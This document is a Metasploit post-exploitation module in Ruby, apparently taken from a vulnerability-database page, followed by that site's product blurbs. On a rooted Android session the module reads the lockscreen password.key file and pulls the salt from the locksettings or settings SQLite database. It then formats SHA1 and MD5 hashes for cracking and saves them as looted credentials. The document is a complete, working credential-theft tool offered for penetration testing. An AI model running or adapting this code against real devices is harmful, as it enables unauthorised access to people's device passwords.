##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sqlite3'
require 'fileutils'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Android::Priv
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Android Gather Dump Password Hashes for Android Systems',
'Description' => %q{
Post Module to dump the password hashes for Android System. Root is required.
To perform this operation, two things are needed. First, a password.key file
is required as this contains the hash but no salt. Next, a sqlite3 database
is needed (with supporting files) to pull the salt from. Combined, this
creates the hash we need. Samsung based devices change the hash slightly.
},
'License' => MSF_LICENSE,
'Author' => ['h00die', 'timwr'],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => 'android',
'References' => [
['URL', 'https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/'],
['URL', 'https://hashcat.net/forum/thread-2202.html'],
]
}
)
)
end
def read_store_sql(location)
# we need the .db file, as well as the supporting files .db-shm and .db-wal as they may contain
# the values we are looking for
db_loot_name = ''
file_name = File.basename(location)
['', '-wal', '-shm'].each do |ext|
l = location + ext
unless file_exist?(l)
next
end
f = file_name + ext
data = read_file(l)
if data.blank?
print_error("Unable to read #{l}")
return
end
print_good("Saved #{f} with length #{data.length}")
if ext == ''
loot_file = store_loot('SQLite3 DB', 'application/x-sqlite3', session, data, f, 'Android database')
db_loot_name = loot_file
next
end
loot_file = store_loot('SQLite3 DB', 'application/binary', session, data, f, 'Android database')
# in order for sqlite3 to see the -wal and -shm support files, we have to rename them
# we have to do this since the ext is > 3
# https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/auxiliary/report.rb#L391
new_name = "#{db_loot_name}#{ext}"
FileUtils.mv(loot_file, new_name)
end
SQLite3::Database.new(db_loot_name)
end
def run
unless is_root?
fail_with Failure::NoAccess, 'This module requires root permissions.'
end
manu = cmd_exec('getprop ro.product.manufacturer')
print_status('Attempting to determine unsalted hash.')
key_file = '/data/system/password.key'
unless file_exist?(key_file)
print_error('No password.key file, no password on device.')
return
end
hash = read_file(key_file)
if hash.empty?
print_error("Unable to read #{key_file}, and retrieve hash.")
return
end
store_loot('Key', 'plain/text', session, hash, 'password.key', 'Android password hash key')
print_good('Saved password.key')
print_status('Attempting to determine salt')
os = cmd_exec('getprop ro.build.version.release')
vprint_status("OS Version: #{os}")
locksettings_db = '/data/system/locksettings.db'
locksettings_sql = "select value from locksettings where name='lockscreen.password_salt';"
unless file_exist? locksettings_db
vprint_status("Could not find #{locksettings_db}, using settings.db")
locksettings_db = '/data/data/com.android.providers.settings/databases/settings.db'
locksettings_sql = "select value from secure where name='lockscreen.password_salt';"
end
begin
vprint_status("Attempting to load lockscreen db: #{locksettings_db}")
db = read_store_sql(locksettings_db)
if db.nil?
print_error('Unable to load settings.db file.')
return
end
salt = db.execute(locksettings_sql)
rescue SQLite3::SQLException
print_error("Failed to pull salt from database. Command output: #{salt}")
return
end
salt = salt[0][0] # pull string from results Command output: [["5381737017539487883"]] may also be negative.
# convert from number string to hex and lowercase
salt = salt.to_i
salt += 2**64 if salt < 0 # deal with negatives
salt = salt.to_s(16)
print_good("Password Salt: #{salt}")
sha1 = hash[0...40]
sha1 = "#{sha1}:#{salt}"
print_good("SHA1: #{sha1}")
credential_data = {
# no way to tell them apart w/o knowing one is samsung or not.
jtr_format: manu =~ /samsung/i ? 'android-samsung-sha1' : 'android-sha1',
origin_type: :session,
post_reference_name: refname,
private_type: :nonreplayable_hash,
private_data: sha1,
session_id: session_db_id,
username: '',
workspace_id: myworkspace_id
}
create_credential(credential_data)
if hash.length > 40 # devices other than Samsungs have sha1+md5 combined into a single string
md5 = hash[40...72]
md5 = "#{md5}:#{salt}"
print_good("MD5: #{md5}")
credential_data = {
jtr_format: Metasploit::Framework::Hashes.identify_hash(md5),
origin_type: :session,
post_reference_name: refname,
private_type: :nonreplayable_hash,
private_data: md5,
session_id: session_db_id,
username: '',
workspace_id: myworkspace_id
}
create_credential(credential_data)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation